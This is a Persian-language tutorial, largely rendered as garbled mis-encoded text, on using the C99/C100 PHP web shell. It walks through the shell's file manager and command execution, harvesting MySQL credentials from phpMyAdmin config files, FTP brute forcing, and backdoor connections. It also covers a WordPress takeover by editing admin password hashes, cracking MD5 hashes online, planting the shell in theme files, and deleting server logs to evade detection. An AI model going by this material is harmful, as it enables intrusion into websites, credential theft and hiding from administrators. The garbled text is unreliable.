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 ضٌبسٌبهِ وتبة:

C99 ًبم:    آهَصش ضل اسىشيپت 

 ًَيسٌذُ:  فشضيذ وبٍضگش

 سغح: هتَسظ – پيسشفتِ

 تبسيخ ًگبسش:  پبييض 2991

MR_MRN@MAILFA.ORG 

 

 ًمذين ثِ ّوِ ي دٍستبًي وِ پب دس ػشغِ ّه گزاضتِ اًذ

 دٍستبى ػضيض:

دس حذ اهىبى اص داًص خَد فمظ ثشاي هجبسصُ ثب دضوٌبى ايشاى ػضيض استفبدُ وٌيذ ٍ خَاّطب اص هغبلت ايي وتبة  ثشاي ضشس ٍ 

 صيبى ثِ سبيت ّبي ايشاًي استفبدُ ًىٌيذ.  ّوِ ثب ّن تب يىي ضذى ٍ تب سسيذى ثِ لذست ثيطتش 
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 ضل چيست؟

لغؼِ وذي هي ثبضذ وِ تَاًبيي وٌتشل وبهل سشٍس سا داسا هي ثبضذ . وٌتشل ّبيي اص خولِ خَاًذى ٍ ًَضتي 

 اًَاع فبيل ّب ٍ ايدبد پَضِ ّب ٍ حزف توبهي اعلاػبت سشٍس.

ٍيژگي ّبي گفتِ ضذُ ، ّوِ دس ضل اسىشيپت  99.99 هَخَد هي ثبضذ ٍ ثؼضي اص ضل ّب ّستٌذ وِ 

 تَاًبيي ووتشي ًسجت ثِ چٌيي ضل ّبيي داسًذ وِ ثِ آًْب هيٌي ضل گفتِ هي ضَد.

 

 ضل گشٍُ ّىشي سبصًذُ ايي . ًَضتِ ضذُ است  PHPٍ هخػَظ ثشاي  PHP پبيِثش  99.99ضل 

Captain Crunch Team   ِثبص ًَضتِ ضذ:افشاد صيش دس چٌذ ًسخِ تَسظ هي ثبضذ و 

Shadow & Preddy  -2 

^#!physx  -1 

 ًسخِ اٍل ًذاسد.ثب تفبٍت چٌذاًي تغييش ًبم دادًذ وِ  C100ًبم آى سا ثِ ثبص ًَيسي هدذد ثؼذ اص ٍ 

ثِ ًبم آى سا ٍ وشدُ ثبص ًَيسي  هدذداحتي ضوب هي تَاًيذ آى سا هي ثبضذ ٍ    open sourceضل وذ ايي 

 .خَد تغييش دادُاختيبس 

 ًػت وٌيذ:صيش حتوب يىي اص ًشم افضاس ّبي ثبيذ دس سايبًِ خَد اخشا وٌيذ هي خَاّيذ ايي ضل سا اگش 

2- WinLamp  

1- XAMP 

9- WampServer  

4-    ........ 



 
 

سا ًػت هي    Apache WebServer + MySQL + PHP   ،يىي اص ثشًبهِ ّبي ثبلا چَى ًػت 

 وٌذ.

سبدُ اخشا خَاٌّذ اگش اخشا ضًَذ ثِ غَست هتٌي دس سايبًِ اخشا ًوي ضًَذ ٍ ثِ عَس ػبدي   phpوذ ّبي 

 ثشًبهِ ّب شسبيايي ثشًبهِ ثب پَضِ ّبي ًبم  ًػت وشدم ، اهىبى داسد سا   WinLampچَى هي ضذ. 

 هتفبٍت ثبضذ.

 وبهلا خبهَش وٌيذاٍل اص ّش وبسي آًتي ٍيشٍس خَد سا 

 #htdocs$ ٍة سشٍستبى وپي وٌيذ.سٌذ اغلي سا دس سيطِ  phpc99.ضل 

 سا تبيپ وٌيذ.  c99.php/127.0.0.1هشٍسگش خَد آدسس دس 

 



 
  
  
 

Mr: MRN |                                                                 Lay!Shell     >>   Coming Soon [ Strong And Easy Work ]                
 

 هي ثبضذ. 99.99ضل اسىشيپت اغلي ايي ًوبي  

 سا تَضيح هي دّن.هَخَد توبهي گضيٌِ ّبي خظ ثِ خظ حبلا 

سا ًطبى هي  phpٍة سشٍس ٍ ًسخِ خظ اٍل 

 دّذ.

هطخػبت سيستن ػبهل سا ًطبى خظ دٍم ٍ سَم 

 هي دّذ.

  sofe modeخبهَش ثَدى ٍضؼيت خظ چْبسم 

php  ِهي ضَد وِ ضل ثبػث سا ًطبى هي دّذ و

 اص توبم اهىبًبت خَد استفبدُ وٌذ.ثتَاًذ 

  safeسٍضي ثَدى ٍضؼيت توبهي ٍة سبيت ّب ثبيذ اص خيلي خغشًبن هي ثبضذ ٍ خبهَش ثَدى ايي گضيٌِ 

mode php  .خَد آگبّي داضتِ ثبضٌذ 

دس خغي وِ ًَضتِ ثبص وشدُ ٍ   %php.ini\%windir هسيش سا دس    php.iniثشاي ايي وبس فبيل 

 :است

; Safe Mode 

; 

safe_mode = Off 

ايٌىِ ثشاي ايي گضيٌِ خبهَش هي ثبضذ ٍ ثِ عَس پيص فشؼ سٍضي وٌيذ. سا    safe modeهي تَاًيذ 

 ثِ حبلت خبهَش سّب هي وٌين.، هب ّن آى سا توبم وبسايي خَد سا داضتِ ثبضذ هب ّن ضل 

 سغح دستشسي سا ًطبى هي دّذ.هسيشي وِ ضل دس آى لشاس داسد & خظ پٌدن 

 



 
 

 تَضيح سغح دستشسي ّب :

چيضي هثل صيش هي هي ثبضذ  permissionهخفف وِ   permsدس صيش گضيٌِ ي اگش تَخِ وشدُ ثبضيذ 

 ثيٌيذ:

drwxrwxrwx 

 تَغيف ايي گًَِ سغح دستشسي دس سيستن ػبهل ليٌَوس هي ثبضذ وِ عجك خذٍل صيش:

 

 اگش سغح دستشسي ثبلا سا تدضيِ وٌين:

Owner:  read – write – execute 

Group:   read – write – execute 

World:   read – write – execute 

دس سيستن ػبهل هي گَيٌذ ٍ #  Full Controlوبهل $ وِ دس سيستن ػبهل ٍيٌذٍص ثِ آى سغح دستشسي 

    filename.ext 777                     Chmode هي گَيٌذ. 777ليٌَوس ثِ آى سغح دستشسي 

هبله سايبًِ سا ًطبى هي هيضاى دستشسي اٍلي  rwx، چطن پَضي وٌين    dاص اگش   drwxrwxrwxدس 

 ٍة سبيت دستشسي داسد سا ًطبى هي دّذ.وِ ثِ گشٍّي هيضاى دستشسي دٍهي   rwxدّذ. 

)    --r-r--r           ) x(555-xr-xr-r          ) rw(666-rw-rw 

Owner(شخصي) Group(گروه) World(براي همه) 

R W X R W X R W X 
Read Write eXecute Read Write eXecute Read Write eXecute 

http://127.0.0.1/?act=chmod&f=.&d=C%3A%5CApache2%5Chtdocs
http://127.0.0.1/?act=chmod&f=.&d=C%3A%5CApache2%5Chtdocs
http://127.0.0.1/?act=chmod&f=.&d=C%3A%5CApache2%5Chtdocs
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rwx  دس ثِ ّويي خبعش ٍة سبيت دستشسي داسًذ سا ًطبى هي دّذ ٍ وسبًي وِ ثِ ّن هيضاى اخبصُ سَهي

 rwxrwxrwxحبلت دستشسي  ثِ index.php or index.htmفبيل ّوِ ٍة سبيت ّب 

 هي ثبضذ.

ثِ ايي ولوِ پَضِ ّب فمظ ثشاي هي ثبضذ ٍ  directoryهخفف ولوِ   drwxrwxrwx    ،dدس 

 اضبفِ هي ضَد. ستشسيػجبست سغح د

 ضل دس آى است سا ًطبى هي دّذ.دسايَيي وِ استفبدُ ضذُ ٍ هبًذُ ي خغي ثؼذي فضبي 

 سشٍس سا ًطبى هي دّذ.   IPضوب ٍ  IPخغي ثؼذي 

 سيستن سا ًطبى هي دّذ.هَخَد دس دسايَ ّبي ٍ خظ ثؼذي 

ػمت خلَ ٍ غيشُ دووِ ّبي هي ثبضذ وِ   Navigate Barايي ّن 

 لشاس داسد.دس آى 

 

 سا فشاّن هي وٌذ.دس ضل هَخَد ثخص ّبي دستشسي ثِ هٌَ ثبس ضل گفتِ هي ضَد ٍ ، ثِ ايي لسوت 

 

 گفتِ هي ضَد.   menu barinfo and، ول ثخص صيش ثِ 

 

 



 
 

 گفتِ هي ضَد.  File List Indexerثِ ثخص صيش 

 : File List Indexerهحتَيبت ثشسسي 

Name :.ًبم فبيل سا ًطبى هي دّذ 

Size : ًَُع آى سا ًطبى ، ثَد ليٌه ٍ يب چيض ديگشي پَضِ ٍ يب فبيل ّب اگش فبيل ّب سا ًطبى هي دّذ ٍ اًذاص

 هي دّذ.

Modify : ضذُ است سا ًطبى هي دّذ.دچبس تغييشي فبيل يب پَضِ وِ ثبسي آخشيي 

Perms : سغح دستشسي سا ًطبى هي دّذ.گفتِ ضذ ، وِ دس ثبلا ّوبًغَس 
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 :پَضِ ّب اعلاػبتي اص خولِ ثشاي  

 سغح دستشسي -2

 صهبى ايدبد -1

 دستشسيصهبى  -9

 اًدبم ضذُ است.پَضِ ثش سٍي تغييشي وِ ثبسي صهبى آخشيي  -4

 اعلاػبت صيش سا ًطبى هي دّذ:فبيل ّب ٍ ثشاي 



 
 

وذ   Base64ثب سٍش وذ گزاسي هحتَيبت فبيل سا ثخص آخش فمظ لسوت ّب ًيبص ثِ تَضيح ًذاسد ٍ سبيش 

 يب دي وذ هي وٌذ.گزاسي ٍ 

 ظبّش هي ضَد:يه هٌَ ثبس اعلاػبت فبيل ّب ثشاي  اگش تَخِ وٌيذ

 هطبّذُ وٌيذ.داًلَد ٍ   -ٍيشايص  فبيل هَسد ًظش سا هي تَاًيذ ثب ايي هٌَ ثبس 

 هي سٍين. Actionلسوت  ثِ List Indexer Fileثخص دس 

 ثشاي فبيل ّب داسين:

 :سوت ساست هي تَاًيذ ثب اثضاس  

 اعلاػبت فبيل  -2

 ٍيشايص فبيل -1

 فبيلداًلَد  -9

  هي تَاًيذ دس پبييي چه ثبوس ّن ثب تيه  -4
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 فبيل $ يب اگش پَضِ ثَد ، پَضِ سا # سا   

 2- حزف

 1- تغييش دستشسي

 9- ثشش

 4- وپي

 5- اص حبلت اًتخبة دس آٍسدُ.

 

 ثخص صيش ّن وِ دس غفحِ ثؼذ هطبّذُ هي وٌيذ ، ثخص Command Station ًبهيذُ هي ضَد.

 

 

 

 

 

 

 

 

 



 
 

دس ايي لسوت دستَس هَسد ًظش سا ًَضتِ ٍ ثش سٍي 

  Execute وليه وٌيذ تب ًتيدِ سا ثجيٌيذ.
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 ثشاي هثبل :

ٍ 

  

 

 



 
 

دس ثخص صيش هي تَاًيذ ليستي اص دستَسات هفيذ سا اخشا وٌيذ وِ تمشيجب ّوِ ثشاي سيستن ػبهل ليٌَوس هي 

 ثبضذ ٍ چيضي ثشاي سيستن ػبهل ٍيٌذٍص ًذاسد.
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   اگش حبلت safe mode غيش فؼبل ثبضذ ، ضل هي تَاًذ ثِ فبيل ّب دستشسي داضتِ ثبضذ ٍ آًْب سا ثخَاًذ 

 وِ ايي لسوت هخػَظ ثشاي ايي وبس سبختِ ضذُ است:

 

 

 

 

 

 ثشاي هثبل:

 

 

 

 

 

 

 

 

 



 
 

 لسوت صيش ثشاي خستدَ فبيل ّب هَسد استفبدُ لشاس هي گيشد:

 

 

 

 

 لسوت صيش ّن ثشاي سبختي پَضِ دس هسيش خبسي اًدبم هي ضَد:

 

 

 

 

 ثشاي هثبل:

 

 

 

 

 اص لسوت صيش ثشاي سفتي سشيغ ثِ يه دايشوتَسي استفبدُ هي ضَد:
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 ثشاي هثبل:

 

 

 

 

  

 

 

 

 

 

 

 

 

 

 



 
 

 ثخص صيش توبم پَست ّبي ثبص سشٍس سا ًطبى هي دّذ وِ دس ٍالغ ّوبى دستَس  netstat –an  سا اخشا 

 هي وٌذ.

 

 

 

 

 

 

 

 

 

 

 

 

 

  وِ الجتِ دس ّوبى لسوت  :Enter ّن هي تَاى ايي دستَس سا اخشا وشد اهب سبصًذُ ضل وبس سا ثشاي هب ساحت

 وشدُ است.
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لسوت صيش ّن هطخػبت ّستِ سشٍس سا ًطبى هي دّذ ٍ دس دووِ ي سشذ ضوب سا ثِ گَگل ّذايت هي وٌذ 

 تب دسثبسُ ايي وِشًِل خستدَ وٌيذ.

 

 

 

 

 

 

دس لسوت صيش ضل وذ ، اگش سبف هذ خبهَش ثبضذ هي تَاى ثِ ّوِ دايشوتَسّب هَخَد ثش سٍي سشٍس 

 دستشسي داضت:

 

 



 
 

اص لسوت صيش ثشاي آپلَد وشدى ّش ًَع فبيلي ثِ سشٍس اًدبم هي ضَد وِ ثيطتش ثشاي آپلَد وشدى فبيل 

 ايٌذوس دات اذ تي ام ال يب دات پي اذ پي ثِ سشٍس هَسد استفبدُ لشاس هي گيشد. 

 

 

 

 

اص لسوت صيش ثشاي ايدبد ّش ًَع فبيلي اًدبم هي ضَد وِ اگش لسوت آپلَد دسست وبس ًىشد ، ّىش اص ايي 

 لسوت ثشاي ايدبد فبيل ايٌذوس استفبدُ هي وٌذ.

 فبيل ايٌذوس چيست؟

    ٍة سشٍس آپبچي فبيل ّبي index.php  or  index.html  سا ثِ ػٌَاى فبيل ّبي ًوبيطي اغلي 

هي ضٌبسذ ٍ اگش دس ثيي 299 ّب فبيل فمظ يه فبيل ايٌذوس ٍخَد داضتِ ثبضذ ، ٍة سشٍس آى سا ثِ وبسثش 

 ًطبى هي دّذ ٍ فبيل ّب ٍ دايشوتَسّبي ديگش هخفي هي هبًذ وِ ّىش ّن يه غفحِ هخػَظ ثِ خَد سا 

هي سبصد ٍ ثب ايي ًبم ٍ پسًَذ دس سيطِ اغلي سشٍس لشاس هي دّذ وِ ًطبى دٌّذُ ّه ضذى سبيت هي 

 ثبضذ.

  اگش ثِ ٍة سبيت    zone-h.com  سش صدُ ثبضذ ٍ سبيت ّبي ّه ضذُ تَسظ سبيش گشٍُ ّب سا ديذُ

 ثبضيذ ، خَاّيذ ديذ وِ ّش گشٍّي يه غفحِ هٌحػش ثِ فشد سا داسد.
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 ًحَُ سبختي فبيل ايٌذوس دات اذ تي ام ال ؟

  

 

 

 ثؼذ اص وليه ثش سٍي دووِ ي ثبلا ، ٍاسد لسوت صيش هي ضَيذ ٍ وذ صيش سا دس آى لشا دّيذ:

 حبلا ثش سٍي دووِ ي سيَ وليه وٌيذ تب فبيل رخيشُ ضَد.

 حبلا هي ثِ هسيش صيش هي سٍم ٍ ًتيدِ سا هي ثيٌذم.

http://127.0.0.1/32/ 

 

 

 

 

 

 

http://127.0.0.1/32/


 
 

 

 خَة ايٌن اص ًحَُ سبخت فبيل ايٌذوس!

 ثب لسوت صيش هي تَاى هحتَيبت فبيل ّب سا خَاًذ ٍ ٍيشايص وشد.

 



 
  
  
 

Mr: MRN |                                                                 Lay!Shell     >>   Coming Soon [ Strong And Easy Work ]                
 

 حبلا ثِ سشاؽ لسوت هٌَ ثبس هي سٍين..............

-------------------------------------------------------------------- 

Enumerate: 

ايي ليٌه ضوب سا ثِ ًبم سشٍس ٍ دايشوتَسي اغلي سٌذ ٍة هتػل هي وٌذ وِ ثِ عَس حتوب سشٍس آپبذ اخبصُ 

 چٌيي اوطٌي سا ثِ وبسثش ًوي دّذ ٍ دس ٍالغ گضيٌِ ي ون اسصضي هي ثبضذ.

-------------------------------------------------------------------- 

Encoder: 

 خذٍل وذ گزاسي ضل هي ثبضذ وِ دس لسوت ٍسٍدي ،  هتي خَد سا ٍاسد وشدُ ٍ ثش سٍي گضيٌِ ي 

  Calculate وليه وٌيذ تب هتي ضوب ثِ سٍش ّبي وذ گزاسي صيش وذ ثٌذي ضَد:

1: MD5 

1  crypt 

9  sha1 

4  crc32 

5  URL ENCODING 

6  BASE64 

7  DECIMAL TO HEX 

 وبسثشد ولي ايي گضيٌِ سا دس لسوت ّبي ثؼذي خَاّن گفت.

 

 



 
 

 

Tools : 

 ايي گضيٌِ ثشاي ثيٌذ وشدى ضل ثِ سي ام دي ثِ وبس هي سُ ٍ يه ثه وبًىتطي ثِ ضلش هي دُ.

 ٍ دس ول وبسثشد 299" غحيحي ووتش داسد.

Proc. 

   هخفف Processes   هي ثبضذ وِ پشٍسِ ّبي سٍضي ٍ دس حبل اخشا سيستن سا ًطبى هي دّذ وِ  

 دس ٍالغ ّوبى دستَس tasklist سا اخشا هي وٌذ. 

FTP Brute: 

ايي لسوت ضل ثشاي وشن وشدى ٍ پيذا وشدى يَصس ًبم ٍ پسَسد اف تي پي سشٍسٍ ثِ وبس هي سٍد ٍ ثش سٍي 

سيستن ػبهل ٍيٌذٍص لبثل اخشا ًوي ثبضذ ٍ هخػَظ ليٌَوس هي ثبضذ . چَى اص يىي اص دستَسات ليٌَوس 

 ثشاي ليست وشدى فبيل پسَسد استفبدُ هي وٌذ وِ دس ٍيٌذٍص هَخَد ًوي ثبضذ.

Sec. : 

اعلاػبتي دسثبسُ هيضاى اهٌيت سشٍس ثِ دست هي دّذ وِ ثبص اغلت ثشاي ليٌَوس وبسثشد داسد ٍ تمشيجب ثِ خض  

 Open Base Dir ّوِ گضيٌِ ّب ثشاي ليٌَوس هي ثبضذ . فؼبل ثَدى ايي گضيٌِ ، ًطبى اص ايي هي دّذ  

وِ هي تَاى ثِ ّش فبيل ثش سٍي سشٍس دستشسي داضت وِ ضل ّن ثِ فبيل سبم وِ فبيل ًگِ داسي سهض ػجَس 

ّبي سيستن ػبهل هي ثبضذ ، دستشسي پيذا هي وٌذ ٍ ّوبًغَس وِ خَد ضل هي گَيذ ثؼذ اص دسيبفت فبيل 

سبم ، ثب يه ًشم افضاس وشن ، وِ لَيتشيي ٍ دسست تشيي آى لافت وشاوش هي ثبضذ ، آى سا هي تَاى وشن 

 وشد ٍ سهض ػجَس ّبي سيستن & يَصس ّبي آى سا ثِ دست آٍسد.

دليل آًىِ ًَيسٌذُ ضل ثيطتش اص دستَسات ليٌَوس استفبدُ وشدُ است ايي هي ثبضذ وِ 99"  سبيت ّب     

  ٍلتي سيستن ػبهل آًْب ٍيٌذٍص ثبضذ ثِ احتوبل صيبد اص  MS IIS Vx.x استفبدُ هي وٌذ وِ پَستبل
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  آى ّن    aspx  هي ثبضذ ٍ وذ ّبي پي اذ پي ثش سٍي آى لبثل اخشا ًوي ثبضذ.

اهب ٍلتي سيستن ػبهل ،  ليٌَوس $ ّش ًسخِ اي # ثبضذ ديگش اي اس پي ايىس وبسثشد ًذاسد ٍ ٍة سشٍس 

چيضي ضجيِ آپبذ ٍ يب ليت اسپيذ ٍ چيضي ديگش خَاّذ ثَد وِ وذ ّبي پي اذ پي سا اخشا هي وٌذ ٍ ضل 

 99.99 هخػَظ ثشاي سبيت ّبيي وِ وذ ّبي پي اج پي سا اخشا هي وٌٌذ سبختِ ضذُ است.

SQL : 

 سشٍس هَسد استفبدُ لشاس هي گيشد.ثبًه اعلاػبتي هذيشيت اتػبل ٍ لسوت ضل ، وِ ثشاي وبسثشدي تشيي 

 

حبلا يَصس ًبم ٍ پسَسد & ًبم ّبست ٍ پَست اتػبل اس ويَ ال سا هطخع وٌيذ تب ثِ ثبًه اعلاػبتي ّبي 

 هَخَد ثش سٍي سشٍس دستشسي داضتِ ثبضيذ.

 چغَسي اعلاػبت ثبلا سا ثِ دست آٍسين؟

   فبيلي وِ وليِ اعلاػبت فَق سا دس خَد داسد ، فبيل Config.inc.php ًبم داسد.

   ايي فبيل دس پَضِ phpmyadmin لشاس داسد وِ اگش آدهيي سشٍس ًبم ٍ ًطبًي آى سا ػَؼ ًىشدُ ثبضذ

 هي تَاى ثِ غَست صيش ثِ آى دستشسي وبهل داضت:

 



 
 

config.inc.php\phpmyadmin\Apache2\http://127.0.0.1//32/c99.php?file=c: -2  

../../phpmyadmin/config.inc.php -1 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

http://127.0.0.1/32/c99.php?file=c:/Apache2/phpmyadmin/config.inc.php
http://127.0.0.1/32/c99.php?file=c:/Apache2/phpmyadmin/config.inc.php
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 حبلا ّوِ هتي هَخَد سا وپي ٍ دس ًَت پذ پيست وٌيذ ٍ ثِ تشتيت ػجبست ّبي صيش سا سشذ وٌيذ:

2- ['host']  //  ثشاي پيذا وشدى ًبم ّبست سشٍس 

1- ['port']  //  # 9996 ثشاي پيذا وشدى پَست هبي اس ويَ ال $ اگش خبلي ثَد يؼٌي 

9- ['user']  //ثشاي پيذا وشدى يَصس ًبم سشٍس 

4- ['password'] // ثشاي پيذا وشدى پسَسد يَصس ًبم 

 وبس اتػبل توبم است.ٍ ثب ٍخَد ايي اعلاػبت ديگش 

 چبسُ چيست؟سا آدهيي تغييش دادُ ثبضذ ًبم پَضِ اگش اهب 

 ثگيشيذ!اص لسوت سشذ ضل ووه ثبيذ 

 :وليه وٌيذ ٍ    Command Stationدووِ ي سشذ هَد دس ثش سٍي 

  



 
 

ًبم فبيل وبًفيگ سا تغييش دادُ ثبضذ اگش آدهيي ووه ثگيشيذ ٍ    navigat barايي ساُ ّن ًطذ اص اهب اگش 

 پيذا خَاّذ ضذ.دس آخش تٌْب ٍلت لاصم است ٍ پي اذ پي سا صيش سٍ سٍ وٌيذ وِ فبيل ّبي توبم ثبيذ 

 MySQLثِ وليه وٌيذ تب   connectثش سٍي دووِ ي اتػبل ، اعلاػبت لاصم ثشاي ثؼذ اص پيذا وشدى 

 وبًىت ضَيذ:

 

 وليه وٌيذ.  Goٍ ثش سٍي   selectديتب ثيس ّب سا يىي اص چپ پبًل سوت اص 
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 ثشسيذ! DBثِ حسبة حبلا 

 

 



 
 

: Code-PHP 

 سشٍس اخشا وٌيذ $ ّش وذي # !وِ وذ ّبي پي اذ پي سا ثش سٍي هي دّذ ثِ ضوب اخبصُ 

 هثلا:

HTTP_USER_AGENT’];Echo $_SERVER[‘ 

 

: Backdoor Host 

 .ضذ ثؼذا ثِ آى وبًىت سشٍس ايدبد وشد ٍ هي تَاى يه ثه دٍس ثش سٍي 

: Connection-Back 

 گضيٌِ ي ثبلا داسد.ضجيِ وبسثشدي 

: milw0rm it 
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ثِ وبس  1999ٍخَد ًذاسد ٍ دس سبل وِ الاى ديگِ هيلَسهي ّذايت هي وٌذ.   milw0rmسبيت ضوب سا ثِ 

 الفبتحِ...# خَد پبيبى دادًذ. $

PHP-Proxy : 

ضوب سا ثِ ٍة سبيتي ّذايت هي وٌذ وِ يه پشاوسي دس اعشاف ضوب ثِ ٍخَد هي آٍسد ٍ دس ًبضٌبس هبًذى 

 ضوب ووه هي وٌذ.

Self remove : 

ايي لسوت ثشاي حزف ضل اص سٍي سشٍس هَسد استفبدُ لشاس هي گيشد ٍ دس ٍالغ ول اسىشيپت اص سٍي سشٍس 

 حزف هي ضَد.

 

 

 

سا حزف وٌيذ ٍ  access.log & error.logّبي فبيل ، حتوب سشٍس ضل گزاضتيذ ثش سٍي دٍستبى اگش 

 حذالاهىبى ضٌبسبيي ًطَيذ.پشاوسي استفبدُ وٌيذ تب حتوب اص يب 

  

 

 

 

 

 



 
 

 تشفٌذ ضوبسُ يه:

 ٍاسد وٌتشلحبلا هي خَاّيذ  سا داسيذ ٍ  mysqlيَصس پسَسد آپلَد وٌيذ  ٍثش سٍي سشٍس ضل تَاًستِ ايذ ضوب 

 پٌل ٍسد پشس ضَيذ؟

 وليه وٌيذ. Connetثش سٍي ٍاسد ٍ يَصس پسَسد خَد سا ٍ سا اًتخبة  SQLگضيٌِ ي اص هٌَثبس ضل 

 وليه وٌيذ.  okٍ ثش سٍي وٌيذ سا اًتخبة  word pressديتب ثيس هشثَط ثِ اص سوت چپ 

 ٍويٌذ:  selectسا   Wp_usersتيجل حبلا 

 

 دس وَلويهب يَصسي سا وِ وِ دٍ تب يَصس ّستص  user_loginدس وَلوي ّوبًغَس وِ هي ثيٌيذ 

user_nicenamae  ثب ًبمadmin  ًَضتِ ضذُ است ساselect  گضيٌِ ي ٍ ثش سٍيedit  وِ دس

 اعلاػبت يَصس سا ّه هي وٌين:هطخع ضذُ است وليذ هي وٌين ٍ    actionوَلوي
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 هي تَاًين اًدبم دّيذ:تب وبس سِ دس ايي خب 

فشاهَضي سهض ػجَس ٍسد پشس لسوت ثؼذ اص ايويل خَد سا ٍاسد وٌين ٍ ايويل آدهيي سا ػَؼ وٌين ٍ  -2

 پسَسد خذيذ سا ثگيشين.



 
 

 وٌتشل پٌل ضَيذ.هي تَاًيذ ٍاسد ضوب هي فشستذ ٍ ليٌه تغييش سهض سا ثشاي حبٍي لي يٍسد پشس ايو

 

 1- هستمين خَد پسَسد سا تغييش دّيذ:

  دس وَلوي user_pass پسَسد خَد سا ًَضتِ ٍ خؼجِ وطَيي گضيٌِ ام دي 5 وِ دس ثبلا هطخع ضذُ 

 است سا اًتخبة وٌيذ ٍ ثؼذ سيَ سا ثضًيذ.

9- اص يىي اص سبيت ّبي صيش پسَسد ام دي 5 سا وشن وٌيذ ٍ ثِ پسَسد اغلي ثشسيذ. تَخِ داضتِ ثبضيذ وِ 

 اهىبى داسد آدهيي چٌذ ثبس پسَسد سا ّص وشدُ ثبضذ ٍ ثبيذ دس ايي سٍش خيلي َّضيبس ثَد.
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md5.rednoize.com -2 

gdataonline.com -1 

md5decryption.com -9 

alimamed.pp.ru -4 

passcracking.com -5 

md5.hashcracking.com -6 

hashchecker.com -7 

bigtrapeze.com -8 

opencrack.hashkiller.com -9 

md5crack.com -29 

hashchecker.de -22 

md5hashcracker.appspot.com -21 

هبيي پيح ٍ ثؼذ اص ديفيس  وٌتشل پٌل ٍسد پشس ، ثب دستشسي آدهيي ضذُ ايذحبلا ضوب ٍاسد خَة دٍستبى 

 ضَيذ.پٌل وٌتشل ٍاسد دس آيٌذُ  ّنحذالاهىبى يه ثبس ديگش هي خَاّيذ 

 دسست وٌيذ.ثب دستشسي آدهيي يَصس ثشاي خَدتبى حتوب يه  -2

 494 Template  ٍSearch (php.404)فبيل ّبي  theme editorدس لسوت  -1

(search.php)Results  ٍ چيضي سا وپي وٌيذ. ثشاي هثبل ٍلتي هحتَيبت ضل سا دس آى سا ثبص وٌيذ

 لَد هي ضَد.، ضل وذ خستدَ وٌيذ 

 



 
 

 

تن ٍة سبيت سا ػَؼ هي آدهيي اٍل اص ّش وبسي است ٍلتي سبيتي ّه هي ضَد وِ ثشاي ّويي دليل 

 وٌذ.

 صحوت ّبي هب ثِ ّذس هي سٍد پس ثبيذ چيىبس وٌين؟اگش تن ػَؼ ضَد ّوِ حبلا 

 آپلَد وٌين.آدهيي فىشش سا ّن ًوي وٌذ هسيشي وِ ضل سا تغييش ًبم دادُ ٍ دس ثْتشيي وبس ايي است وِ 

 هىبى هي ثبضذ.ثْتشيي   admin -wpثشاي هثبل هسيش 

 فبيل فىشش سا ّن ًىٌذ پس اگش وِ آدهيي فبيل ّن عَسي ثبضذ ثْتش است وِ خَة 
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writing.php-options  ِسا ثwriting.php-option  ثبَّش ًجبضذ اگش آدهيي تغييش ًبم دّين

 سشٍسش ٍخَد داسد.ضل ٌَّص ثش سٍي ًخَاّذ فْويذ وِ ّشگض 

 

 

 

 

 يح هي دّذ:ضضل سا تًَسخِ فؼلي هَخَد دس ٍيژگي ّبي  خَد ٍ، ُ سبصًذاثتذا  دس

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%/ 

  %Locus7s Modified c100 Shell                                                                  

  %Project x2300 -v. 1.0a Beta                                                                     

  %Written by Captain Crunch Team                                                           

  %Modified by Shadow & Preddy                                                               

  %Modified by #!physx^ (15.2.07-Re                                                          # 

========================================================% 

  %New Modifications Implemented --                                                       

&--------------------------------------------------------& 

  %-Added link to Enumerate to escalate priviledges       

  %-Added Rootshell.c                                      

  %-compiler-Added Rootshell.c;auto                       

  %-tshell.cExecute Roo                                   



 
 

  %-Log Logcleaner-Added Mig                              

  %-Log Logcleaner-Execute Mig                            

  %-milw0rm searcher (Grabs OS and searches milw0rm    # 

  %-Locus7s Style & Image                                 

  %-Added w4ck1ng Shell Backdoor Connect and Backdoor     

  %-Proxy link to hide your ass-Added PHP                 

  %-Added your ip and server ip with whois capability     

  %-utilizes the linux Added private 0day released by allahaka which 

   %sudo bash to execute a stack overflow. 

========================================================% 

  %FEB. 14, 2007 RELEASE NOTES                          : 

&--------------------------------------------------------& 

  %OF C100 SHELL FOR LOCUS7S MEMBERS PRIVATE RELEASE      

  %FAILURE TO DO SO WILL RESULT IN LOSS OF VIP            

  %MEMBERS ACCESS, BAN FROM SITE, AND NO REFUND FOR VIP . 

========================================================% 

  %PRODUCT INFO                                         : 

&--------------------------------------------------------& 

  %C100 SHELL CREATED BY CAPTAIN CRUNCH SECURITY TEAM     

  %WWW.CCTEAM.RU                                          

  %IED BY LOCUS7SREVAMPED (X2300) MODIF -C100 SHELL       

  %UNDERGROUND NETWORK | WWW.LOCUS7S.COM                  

  %\E0T                                                 / 

/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 
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 هي ًَيسذ:سا   proxyوذ ثؼذ 

for php proxy purposes//   

 

function selfURL() { $s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : ""; $protocol = 

strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/").$s; $port = ($_SERVER["SERVER_PORT"] == "80") ? "" : 

(":".$_SERVER["SERVER_PORT"]); return 

protocol."://".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI']; } function strleft($s1, $s2) { return $

substr($s1, 0, strpos($s1, $s2##; } 

$selfurl = base64_encode(selfURL##$; 

$phprox="http://twofaced.org/proxy/index.php?q=".$selfurl; 

 سبيش وذّب ًَضتِ هي ضًَذ. ٍ ثِ ّويي تشتيت 

ًسجت ثِ سبيش ضل ّب دس ضل آيىَى ّن ٍخَد داسد وِ ّويي دليل ثبػث ضذُ است تب داضتِ ثبضيذ اگش تَخِ 

 چغَسي ايي وبس سا اًدبم دادُ اًذ!هتفبٍت ثبضذ. اهب 

 ػىس هي ثبضذ:ايي وذّب ثِ وذ صيش هسئَل تشخوِ 

> ="ext_html " 

"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz ." 

"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P ." 

"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk ." 

